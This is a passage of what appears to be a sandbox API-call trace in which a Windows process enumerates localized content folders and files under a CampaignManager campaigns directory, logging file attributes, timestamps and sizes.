	[0155.877] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0155.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.877] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT") returned 100
	[0155.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.878] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.879] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.879] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.879] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.879] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.879] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.879] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.880] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0155.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.881] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP") returned 100
	[0155.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.882] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.882] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.882] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.882] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.883] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.883] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.883] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0155.884] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0155.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0155.884] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR") returned 100
	[0156.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.118] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.118] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.118] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.118] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.118] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.125] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.125] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.126] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0156.126] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-LU", cAlternateFileName="")) returned 1
	[0156.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.127] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU") returned 100
	[0156.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.235] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.236] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.236] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.236] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.236] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.236] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.236] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.237] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0156.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.237] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT") returned 100
	[0156.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
